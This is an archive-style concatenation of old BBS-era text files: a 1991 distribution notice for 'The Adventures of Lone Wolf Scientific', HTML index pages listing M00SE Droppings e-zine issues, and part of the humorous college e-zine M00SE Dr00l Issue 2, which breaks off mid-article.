of charge, just drop a note to one of the mailboxes listed
below.
You may upload episodes of "The Adventures of Lone Wolf
Scientific" to any bulletin board or online service that you
wish. You may also print them out and distribute them--in
hardcopy or electronically--to friends, colleagues, loved
ones, whomever you wish. ("The Adventures of Lone Wolf
Scientific" go particularly well on company LANs.)
You may not charge anyone anything for your reproducing
efforts except maybe for an occasional cup of coffee or a
doughnut--you may demand a fee of one of those.
The only responsibility that will be placed on your
weary shoulders is the request that whenever you
distribute episodes of "The Adventures of Lone Wolf
Scientific," you distribute them with this file,
WELCOME.LWS, and the accompanying file EPISOD.LWS which
lists all previous episodes and the order in which they
first appeared.
"The Adventures of Lone Wolf Scientific" is copyrighted
by the author, of course, but may be reproduced for free, in
whole or in part, in any not-for-profit publication,
including computer user's group newsletters. The author
requests only that a copy of the publication be mailed to
the street address listed below.
Additionally, if you publish a user's group newsletter,
you may obtain from M. Peshota, free of charge, a disk
containing whimsical "shorts" designed specifically to fill
small empty spaces in newsletters. Simply mail a blank
floppy disk to one of the addresses listed below, along with
the name of your user's group.
I hope that you enjoy "The Adventures of Lone Wolf
Scientific". Writing them has been one of the great joys of
my life. Hopefully, reading them will be one of the joys of
yours.
Peace,
M. Peshota
January, 1991
Exec-PC: MICHY PESHOTA
GEnie: M.PESHOTA, user i.d., XTY31866
MCI Mail: MPESHOTA, user i.d., 4524331
Street: Michy Peshota, 6666 Odana Rd,
Office 252, Madison, WI, 53719
------------------------------------------------------------
P.S. Tune in to the comedic adventures of beleaguered
bulletin board operator "Crazy Merl" in Jack Rickard's hot
magazine "Boardwatch," 5970 S. Vivian St., Littleton, CO,
80127, 303/973-4222 (bbs).
------------------------------------------------------------

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<HTML>
<TITLE>T E X T F I L E S</TITLE>
<BODY BGCOLOR="#000000" TEXT="#00FF00" LINK="#00FF00" ALINK="#00AA00" VLINK="#00AA00">
<H1>Electronic Magazines: M00SE Droppings</H1>
<P>
Maybe it's just me, but as I browse through these files, they seem to be about
Moose, more Moose and then about things that people who know each other are
interested in becasue they all happen to like moose. After a while, this
leads (naturally?) to the Steve Jackson BBS Raid. There's an awful lot of
moose here.
<P>
<TABLE WIDTH=100%>
<TD BGCOLOR=#00FF00><FONT COLOR=#000000><B>Filename</B><BR></FONT></TD>
<TD BGCOLOR=#00DD00><FONT COLOR=#000000><B>Size</B><BR></FONT></TD>
<TD BGCOLOR=#00AA00><FONT COLOR=#000000><B>Description of the Textfile</B><BR></TD></TR>
<tab indent=60 id=T><br>
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/dr00l2">dr00l2</A> <tab to=T><TD> 14492<BR><TD> M00SE Dr00l Issue 2, January 1990
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/dr00l3">dr00l3</A> <tab to=T><TD> 11846<BR><TD> M00se Dr00l Issue 3, February, 1990
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se.cha">m00se.cha</A> <tab to=T><TD> 4575<BR><TD> The Official Charter of the M00se Illuminati
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se.his">m00se.his</A> <tab to=T><TD> 6551<BR><TD> The Official History of the M00se Illuminati
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se.inf">m00se.inf</A> <tab to=T><TD> 3556<BR><TD> Information on various M00se Illumanati Subdivisions
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se.rev">m00se.rev</A> <tab to=T><TD> 1199<BR><TD> Bill Dickson's M00use Update
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se01">m00se01</A> <tab to=T><TD> 11147<BR><TD> M00se Droppings Issue #01, June 17, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se02">m00se02</A> <tab to=T><TD> 7793<BR><TD> M00se Droppings Issue #02, June 24, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se03">m00se03</A> <tab to=T><TD> 16195<BR><TD> M00se Droppings Issue #03, July 6, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se04">m00se04</A> <tab to=T><TD> 10963<BR><TD> M00se Droppings Issue #04, July 14, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se05">m00se05</A> <tab to=T><TD> 16800<BR><TD> M00se Droppings Issue #05, July 22, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se06">m00se06</A> <tab to=T><TD> 16996<BR><TD> M00se Droppings Issue #06, August 3, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se07">m00se07</A> <tab to=T><TD> 12100<BR><TD> M00se Droppings Issue #07, August 15, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se08">m00se08</A> <tab to=T><TD> 14538<BR><TD> M00se Droppings Issue #08, August 19, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se09">m00se09</A> <tab to=T><TD> 10156<BR><TD> M00se Droppings Issue #09, August 26, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se10">m00se10</A> <tab to=T><TD> 10302<BR><TD> M00se Droppings Issue #10, September 4, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se11">m00se11</A> <tab to=T><TD> 30000<BR><TD> M00se Droppings Issue #11, September 9, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se12">m00se12</A> <tab to=T><TD> 9422<BR><TD> M00se Droppings Issue #12, September 19, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se13">m00se13</A> <tab to=T><TD> 19117<BR><TD> M00se Droppings Issue #13, September 19, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se14">m00se14</A> <tab to=T><TD> 23466<BR><TD> M00se Droppings Issue #14, October 3, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se15">m00se15</A> <tab to=T><TD> 21831<BR><TD> M00se Droppings Issue #15, October 7, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se16">m00se16</A> <tab to=T><TD> 21632<BR><TD> M00se Droppings Issue #16, October 31, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se17">m00se17</A> <tab to=T><TD> 8541<BR><TD> M00se Droppings Issue #17, October 15, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se18">m00se18</A> <tab to=T><TD> 7885<BR><TD> M00se Droppings Issue #18, November 20, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se19">m00se19</A> <tab to=T><TD> 17291<BR><TD> M00se Droppings Issue #19, November 20, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se20">m00se20</A> <tab to=T><TD> 21826<BR><TD> M00se Droppings Issue #20, December 9, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se21">m00se21</A> <tab to=T><TD> 43890<BR><TD> M00se Droppings Issue #21, February 9, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se22">m00se22</A> <tab to=T><TD> 35137<BR><TD> M00se Droppings Issue #22, March 2, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se23">m00se23</A> <tab to=T><TD> 44906<BR><TD> M00se Droppings Issue #23, April 24, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se24">m00se24</A> <tab to=T><TD> 55435<BR><TD> M00se Droppings Issue #24, May 12, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se25">m00se25</A> <tab to=T><TD> 25308<BR><TD> M00se Droppings Issue #25, May 18, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se26">m00se26</A> <tab to=T><TD> 21514<BR><TD> M00se Droppings Issue #26, June 2, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se27">m00se27</A> <tab to=T><TD> 24269<BR><TD> M00se Droppings Issue #27, June 19, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se28">m00se28</A> <tab to=T><TD> 22786<BR><TD> M00se Droppings Issue #28, June 30, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se29">m00se29</A> <tab to=T><TD> 14468<BR><TD> M00se Droppings Issue #29, September 5, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se30">m00se30</A> <tab to=T><TD> 26309<BR><TD> M00se Droppings Issue #30, November 1, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se31">m00se31</A> <tab to=T><TD> 25752<BR><TD> M00se Droppings Issue #31, November 3, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se32">m00se32</A> <tab to=T><TD> 44141<BR><TD> M00se Droppings Issue #32, November 10, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se33">m00se33</A> <tab to=T><TD> 33147<BR><TD> M00se Droppings Issue #33, November 17, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se34">m00se34</A> <tab to=T><TD> 27405<BR><TD> M00se Droppings Issue #34, December 1, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se35">m00se35</A> <tab to=T><TD> 23928<BR><TD> M00se Droppings Issue #35, December 8, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se36">m00se36</A> <tab to=T><TD> 34003<BR><TD> M00se Droppings Issue #36, December 16, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se37">m00se37</A> <tab to=T><TD> 26791<BR><TD> M00se Droppings Issue #37, January 27, 1990
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se38">m00se38</A> <tab to=T><TD> 23757<BR><TD> M00se Droppings Issue #38, February 19, 1990
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se39">m00se39</A> <tab to=T><TD> 19721<BR><TD> M00se Droppings Issue #39, March 21, 1990
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se40">m00se40</A> <tab to=T><TD> 26774<BR><TD> M00se Droppings Issue #40, April 9, 1990
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se41">m00se41</A> <tab to=T><TD> 27372<BR><TD> M00se Droppings Issue #41, July 6, 1990
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se42">m00se42</A> <tab to=T><TD> 28540<BR><TD> M00se Droppings Issue #42, July 14, 1990
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se43">m00se43</A> <tab to=T><TD> 23460<BR><TD> M00se Droppings Issue #43, August 9, 1990
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se44">m00se44</A> <tab to=T><TD> 24030<BR><TD> M00se Droppings Issue #44, Septembet 8, 1990
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se45">m00se45</A> <tab to=T><TD> 27020<BR><TD> M00se Droppings Issue #45, October 4, 1990
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se46">m00se46</A> <tab to=T><TD> 25628<BR><TD> M00se Droppings Issue #46, November 25, 1990
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/m00se47">m00se47</A> <tab to=T><TD> 43130<BR><TD>
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/md.048">md.048</A> <tab to=T><TD> 50104<BR><TD> M00se Droppings issue #48 (June 13, 1994)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/md.049">md.049</A> <tab to=T><TD> 50498<BR><TD> M00se Droppings Issue #49 (July 13, 1994)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/md.051">md.051</A> <tab to=T><TD> 17485<BR><TD> M00se Droppings Issue #51 (November 13, 1994)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="M00SE/ml002.txt">ml002.txt</A> <tab to=T><TD> 7502<BR><TD> MOOSE Lite #2 (Star Trek: The Next Generation: The Stupidity Snare)
</TABLE><P><TABLE WIDTH=100%><TR><TD ALIGN=RIGHT><SMALL>There are 57 files for a total of 1,274,430 bytes.</SMALL></TABLE><P>
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<TITLE>T E X T F I L E S</TITLE>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#000000" ALINK="#004400" VLINK="#004400">
<H1>Electronic Magazines: M00SE Droppings</H1>
<P>
Maybe it's just me, but as I browse through these files, they seem to be about
Moose, more Moose and then about things that people who know each other are
interested in becasue they all happen to like moose. After a while, this
leads (naturally?) to the Steve Jackson BBS Raid. There's an awful lot of
moose here.
<P>
<TABLE WIDTH=100%>
<TD BGCOLOR=#000000><FONT COLOR=#FFFFFF><B>Filename</B><BR></FONT></TD>
<TD BGCOLOR=#002200><FONT COLOR=#FFFFFF><B>Size</B><BR></FONT></TD>
<TD BGCOLOR=#004400><FONT COLOR=#FFFFFF><B>Description of the Textfile</B><BR></TD></TR>
<tab indent=60 id=T><br>
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="dr00l2">dr00l2</A> <tab to=T><TD> 14492<BR><TD> M00SE Dr00l Issue 2, January 1990
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="dr00l3">dr00l3</A> <tab to=T><TD> 11846<BR><TD> M00se Dr00l Issue 3, February, 1990
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se.cha">m00se.cha</A> <tab to=T><TD> 4575<BR><TD> The Official Charter of the M00se Illuminati
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se.his">m00se.his</A> <tab to=T><TD> 6551<BR><TD> The Official History of the M00se Illuminati
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se.inf">m00se.inf</A> <tab to=T><TD> 3556<BR><TD> Information on various M00se Illumanati Subdivisions
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se.rev">m00se.rev</A> <tab to=T><TD> 1199<BR><TD> Bill Dickson's M00use Update
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se01">m00se01</A> <tab to=T><TD> 11147<BR><TD> M00se Droppings Issue #01, June 17, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se02">m00se02</A> <tab to=T><TD> 7793<BR><TD> M00se Droppings Issue #02, June 24, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se03">m00se03</A> <tab to=T><TD> 16195<BR><TD> M00se Droppings Issue #03, July 6, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se04">m00se04</A> <tab to=T><TD> 10963<BR><TD> M00se Droppings Issue #04, July 14, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se05">m00se05</A> <tab to=T><TD> 16800<BR><TD> M00se Droppings Issue #05, July 22, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se06">m00se06</A> <tab to=T><TD> 16996<BR><TD> M00se Droppings Issue #06, August 3, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se07">m00se07</A> <tab to=T><TD> 12100<BR><TD> M00se Droppings Issue #07, August 15, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se08">m00se08</A> <tab to=T><TD> 14538<BR><TD> M00se Droppings Issue #08, August 19, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se09">m00se09</A> <tab to=T><TD> 10156<BR><TD> M00se Droppings Issue #09, August 26, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se10">m00se10</A> <tab to=T><TD> 10302<BR><TD> M00se Droppings Issue #10, September 4, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se11">m00se11</A> <tab to=T><TD> 30000<BR><TD> M00se Droppings Issue #11, September 9, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se12">m00se12</A> <tab to=T><TD> 9422<BR><TD> M00se Droppings Issue #12, September 19, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se13">m00se13</A> <tab to=T><TD> 19117<BR><TD> M00se Droppings Issue #13, September 19, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se14">m00se14</A> <tab to=T><TD> 23466<BR><TD> M00se Droppings Issue #14, October 3, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se15">m00se15</A> <tab to=T><TD> 21831<BR><TD> M00se Droppings Issue #15, October 7, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se16">m00se16</A> <tab to=T><TD> 21632<BR><TD> M00se Droppings Issue #16, October 31, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se17">m00se17</A> <tab to=T><TD> 8541<BR><TD> M00se Droppings Issue #17, October 15, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se18">m00se18</A> <tab to=T><TD> 7885<BR><TD> M00se Droppings Issue #18, November 20, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se19">m00se19</A> <tab to=T><TD> 17291<BR><TD> M00se Droppings Issue #19, November 20, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se20">m00se20</A> <tab to=T><TD> 21826<BR><TD> M00se Droppings Issue #20, December 9, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se21">m00se21</A> <tab to=T><TD> 43890<BR><TD> M00se Droppings Issue #21, February 9, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se22">m00se22</A> <tab to=T><TD> 35137<BR><TD> M00se Droppings Issue #22, March 2, 1988
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se23">m00se23</A> <tab to=T><TD> 44906<BR><TD> M00se Droppings Issue #23, April 24, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se24">m00se24</A> <tab to=T><TD> 55435<BR><TD> M00se Droppings Issue #24, May 12, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se25">m00se25</A> <tab to=T><TD> 25308<BR><TD> M00se Droppings Issue #25, May 18, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se26">m00se26</A> <tab to=T><TD> 21514<BR><TD> M00se Droppings Issue #26, June 2, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se27">m00se27</A> <tab to=T><TD> 24269<BR><TD> M00se Droppings Issue #27, June 19, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se28">m00se28</A> <tab to=T><TD> 22786<BR><TD> M00se Droppings Issue #28, June 30, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se29">m00se29</A> <tab to=T><TD> 14468<BR><TD> M00se Droppings Issue #29, September 5, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se30">m00se30</A> <tab to=T><TD> 26309<BR><TD> M00se Droppings Issue #30, November 1, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se31">m00se31</A> <tab to=T><TD> 25752<BR><TD> M00se Droppings Issue #31, November 3, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se32">m00se32</A> <tab to=T><TD> 44141<BR><TD> M00se Droppings Issue #32, November 10, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se33">m00se33</A> <tab to=T><TD> 33147<BR><TD> M00se Droppings Issue #33, November 17, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se34">m00se34</A> <tab to=T><TD> 27405<BR><TD> M00se Droppings Issue #34, December 1, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se35">m00se35</A> <tab to=T><TD> 23928<BR><TD> M00se Droppings Issue #35, December 8, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se36">m00se36</A> <tab to=T><TD> 34003<BR><TD> M00se Droppings Issue #36, December 16, 1989
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se37">m00se37</A> <tab to=T><TD> 26791<BR><TD> M00se Droppings Issue #37, January 27, 1990
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se38">m00se38</A> <tab to=T><TD> 23757<BR><TD> M00se Droppings Issue #38, February 19, 1990
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se39">m00se39</A> <tab to=T><TD> 19721<BR><TD> M00se Droppings Issue #39, March 21, 1990
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se40">m00se40</A> <tab to=T><TD> 26774<BR><TD> M00se Droppings Issue #40, April 9, 1990
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se41">m00se41</A> <tab to=T><TD> 27372<BR><TD> M00se Droppings Issue #41, July 6, 1990
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se42">m00se42</A> <tab to=T><TD> 28540<BR><TD> M00se Droppings Issue #42, July 14, 1990
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se43">m00se43</A> <tab to=T><TD> 23460<BR><TD> M00se Droppings Issue #43, August 9, 1990
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se44">m00se44</A> <tab to=T><TD> 24030<BR><TD> M00se Droppings Issue #44, Septembet 8, 1990
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se45">m00se45</A> <tab to=T><TD> 27020<BR><TD> M00se Droppings Issue #45, October 4, 1990
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se46">m00se46</A> <tab to=T><TD> 25628<BR><TD> M00se Droppings Issue #46, November 25, 1990
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="m00se47">m00se47</A> <tab to=T><TD> 43130<BR><TD>
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="md.048">md.048</A> <tab to=T><TD> 50104<BR><TD> M00se Droppings issue #48 (June 13, 1994)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="md.049">md.049</A> <tab to=T><TD> 50498<BR><TD> M00se Droppings Issue #49 (July 13, 1994)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="md.051">md.051</A> <tab to=T><TD> 17485<BR><TD> M00se Droppings Issue #51 (November 13, 1994)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ml002.txt">ml002.txt</A> <tab to=T><TD> 7502<BR><TD> MOOSE Lite #2 (Star Trek: The Next Generation: The Stupidity Snare)
</TABLE><P><TABLE WIDTH=100%><TR><TD ALIGN=RIGHT><SMALL>There are 57 files for a total of 1,274,430 bytes.</SMALL></TABLE><P>
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+----------------------------------------------------------------------------+
| ISSUE 2 January 1990 |
| |
| |
| MMMMMMMMMM 00000000 00000000 SSSSSSS EEEEEEEE |
| M MM M 0 // 0 0 // 0 S E |
| M MM M 0 // 0 0 // 0 SSSSSSS EEEE |
| M MM M 0 // 0 0 // 0 S E |
| M MM M 00000000 00000000 SSSSSSSS EEEEEEEE |
| |
| DDDDDDDD RRRRRRR 00000000 00000000 L |
| D D R R 0 // 0 0 // 0 L |
| D D RRRRRRR 0 // 0 0 // 0 L |
| D D R R 0 // 0 0 // 0 L |
| DDDDDDDDDD R R 00000000 00000000 LLLLLLLL |
| |
| |
| |
| To boldly dr00l where no m00se has dr00led before. |
+----------------------------------------------------------------------------+
We casually bring to you yet another issue to ring in the "Decade of Dr00l."
-Mike Oose
------------------------------------------------------------------------------
M00SE DR00L STAFF
Michael Oose (moose@drunivac.bitnet) Editor in Chief
Subscriptions
Manny Oose (nclarke@drunivac.bitnet)
Michele Oose (slewis@drunivac.bitnet) Assistant Editors
Paul Latypus (badair@drunivac.bitnet)
Martin Oose (pcoen@drunivac.bitnet)
Michaela Oose (jrutberg@drew.bitnet) Guest Columnists
Think you're weird? Think you can write stories that m00ses can relate to?
Contact Mike Oose. He might have an assignment for YOU!
Coming Soon! An editorial section. Yes, keep those comments coming. If we
like it, we'll print it with running commentary from the Dr00l Staff!
------------------------------------------------------------------------------
HOW TO MAKE MOOSE CALLS
It's easier than you think!
(by Michele and Michaela Oose)
I. Introduction: Does a moose care what it sounds like?
Think about it. Does a moose think of what he is going to sound like before
he says anything? No. And neither should you when it comes to imitating
a moose. To become adept at this surprisingly simple task, follow these few
simple directions.
II. Step two: The Attitude
First, you must think like a moose. Close your eyes and think mooselike
thoughts. What would you think if you were a moose? Picture yourself with
antlers. Do not actually put a pair of antlers on your head to see what it
would feel like. This will do nothing for your concentration and will get
you many strange looks. Your family probably worries about you too much as
it is.
III. The actual trial: Is it live, or is it Memorex?
Concentrate. Picture in your mind what a moose call would sound like, and
let it out of your system. THINK like the moose. SPEAK like the moose.
BECOME ONE with the moose. Remember, not many people living today would
recognize an actual moose call if they heard one. They will never know the
difference.
IV. Practice
As with any other activity, practice makes perfect. This applies also to
the art of moose calling. If you are uncomfortable about showing your newly
acquired skill in large groups of company, practice in the privacy of your
own home or in an isolated area. Be warned, though, about making moose calls
out in the wilderness. The actual creatures may be offended.
Good luck. And may the Moose be with you.
------------------------------------------------------------------------------
(Due to popular demand, we bring to you the third chapter in this
intriguing saga of Travis and Phyllis.)
Travis and Phyllis, the Trashy Story
by Michael Oose
Travis and Phyllis found themselves in the airport lobby after having
been escorted off the plane from Tahiti, with a warning to control themselves
better next time. Travis whispered huskily in Phyllis' ear, "Around you I
could never control myself." All of a sudden, Phyllis remembered that she
had left her passport in her luggage and so couldn't go through Customs.
"Oh, Travis," she breathed, "we'll just have to go back." While their
escort was ogling a stewardess, the two lovers ducked out of the terminal.
While they thought no one was looking, they leapt onto the luggage bus that
was just departing from their plane. Sifting through the luggage, they
found Phyllis' matched hot pink set. Opening the largest suitcase, Travis
spied a piece of lingerie.
"Oh, Phyllis, remember when you wore this?" Their eyes locked, their
passion inflamed.
"Oh, Travis, I think we're going to disobey the airline officials."
she sighed. They were too involved in their renewed discovery of one another
that they didn't notice that the bus had ground to a halt.
Two gorilla-like beings started to throw luggage onto the conveyor
belt, and all unknowingly tossed the entwined lovers on with the rest of the
baggage. Phyllis landed first with a >whump<, cushioning Travis' fall. The
conveyor belt, groaning with the strain, brought them up and into the main
terminal of the airport.
While some passersby gawked, a polite man named Cullen graciously
removed his jacket and placed it over their sweaty, heaving bodies. They
paid no notice, however, and continued...
------------------------------------------------------------------------------
Horrorscopes for the month of January, 1990 in the year of our Moose.
(by Manny and Michele Oose)
Aries, the twisted antlered moose : Expect nothing special. The twisted
antlers of Aries are especially warped this time of year. We recommend that
you hibernate through this month. You won't miss anything.
Taurus, the bull-headed moose : Stop being so damn stubborn. You won't get
your way unless you take to blackmail. Be wary of men with funny looking
caps.
Gemini, the twin mooses : Taking part in a doublemint gum commercial could be
a bad career move. It will alert hunters to your location. You will also
discover that you have a long lost brother who is into disco and gold chains.
Cancer, the smoking moose : You are going to get very sick. Other mooses will
not invite you to their parties because of a dark cloud that surrounds your
head. Floss your antlers.
Leo, the roaring moose : Sit down and listen for a change. This might be a
good time to lay low and avoid large trucks. Take this time for a vacation in
Hawaii, or get your antlers trimmed.
Virgo, the you-know moose : Wipe that smirk off your face. Kiss a frog and
your outlook on life just might change. Look to the stars for a visitor from
out of town. Don't let them stay more than a week.
Libra, the well-balanced moose : You are about to take a long trip. The
people there will speak funny, and it will be cold. In the end you will enjoy
it, but bring your antlers as carry-on luggage, or you could be in for a big
surprise.
Scorpio, the poisonous moose : This is a good month to go food shopping. You
must remember, however, that the shopping cart is not a pull toy. You will
find a long lost relative in the frozen foods section.
Aquarius, the drooling moose : If you don't get help for this quite disgusting
habit of yours, you could be in for some real embarrassment. Remember, the
first step is to admit that you have a problem. Clean up your act.
Capricorn, the moose of the month : This is your time, dahling. Open your
eyes to the beauty of the world, and be happy. Become one with your
Mooseness. You will finally catch a truck this month.
Pisces, the fishy moose : Something smells bad, and it's probably the Chinese
food. Also, be careful what you step in. Your friends will be shocked if you
serve the chocolate moose at your next party.
------------------------------------------------------------------------------
Obituaries
(by Manny Oose)
DATELINE: DREW UNIVERSITY OCTOBER 25, 1989
A terrible accident has occurred here at Drew University that has authorities
completely baffled. It seems that the local VAX Zoo Keeper was the victim
of a cruel and merciless attack by what appears to be the kindly and innocent
looking animals kept here in the zoo.
"There are slide trails all the way back to the platypus pool, and a wombat
hole only feet away from the crime," says Drew Security officer Dun Kin.
"He was badly gored by the antlers of a large animal," he continues, "and we
strongly believe that the moose was involved, however, we have been unable to
get into the Harappa Pen to question the suspect."
When we approached one of the animals for comment, he quickly retorted, "I'm
glad he's dead. He kept making us get back in the cages. He used to torment
that poor moose to no end as well." With that, he turned and fled into the
night, in what appears to be a free night on the town for these creatures.
Authorities are unwilling to make comment on whether or not the bizarre death
of the zoo keeper, and a recent cactus suicide are related, but you can bet
that I, the roving reporter, shall keep you informed of further developments
in this case.
------------------------------------------------------------------------------
Moose Tipping
(by Manny and Martin Oose)
My fellow m00ses...
I am here today to talk to you about a vile and terrible practice known as
"moose-tipping." I don't know about you, but it bothers me that I can't get
a good nights sleep with all those college students sneaking up and pushing
me over as I rest. If that's not bad enough, my antlers get stuck in the
mud, and when the mud freezes... brrrrrr... I'm sure I don't have to tell
you about antler frost. What are we to do about this?
Let's, for discussion's sake, create a hypothetical activity to perform on
sleeping humans. The human (say, her name is Diana) is sound asleep, totally
oblivious to the world. Mind you--this is rest sleep. We are making no
claims as to her normal state. Our intrepid band of m00ses creeps into her
room, carefully avoiding the waking of her roommate. They surround her bed
